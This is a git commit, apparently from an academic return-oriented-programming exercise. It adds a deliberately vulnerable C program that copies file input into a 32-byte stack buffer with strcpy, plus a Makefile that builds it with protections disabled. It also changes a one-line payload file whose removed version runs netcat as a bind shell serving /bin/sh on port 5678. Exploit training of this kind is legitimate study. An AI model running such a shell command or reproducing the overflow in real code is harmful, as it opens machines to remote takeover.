add executable with null byte in data address

This commit is contained in:
Jack Bond-Preston 2020-11-28 20:35:39 +00:00
parent 2933e3d434
commit 15c38f07df
4 changed files with 46 additions and 1 deletions

View File

@ -1 +1 @@
["/home/vagrant/cw/netcat-0.7.1/src/netcat", "-lnp", "5678", "-tte", "/bin/sh"] ["/bin/echo", "\n[ Successful ROP! ]"]

6
vuln-programs/.gitignore vendored Normal file
View File

@ -0,0 +1,6 @@
# ignore binaries
*
!/**/
!*.*
!Makefile

View File

@ -0,0 +1,2 @@
null-data-addr: null-data-addr.c
gcc -fno-pie -no-pie -fno-stack-protector -m32 -static $^ -o $@ -Tdata 0x080d9100

View File

@ -0,0 +1,37 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
int copyData(char *string)
{
char buf[32];
strcpy(buf, string);
return (0);
}
int main(int argc, char *argv[])
{
char buffer[700];
FILE *file;
if (argc !=2)
{
printf("[*] invalid arguments!\n [*] > %s file_name\n",argv[0]);
exit(0);
}
printf("opening file\n");
file = fopen(argv[1],"rb");
if (!file)
{
//printf("file not opened %s", strerror(errno));
fprintf(stderr,"file not opened %s", strerror(errno));
//printf("error");
return (0);
}
printf("file opened\n");
fread(buffer, 699,1,file);
fclose(file);
copyData(buffer);
return (0);
}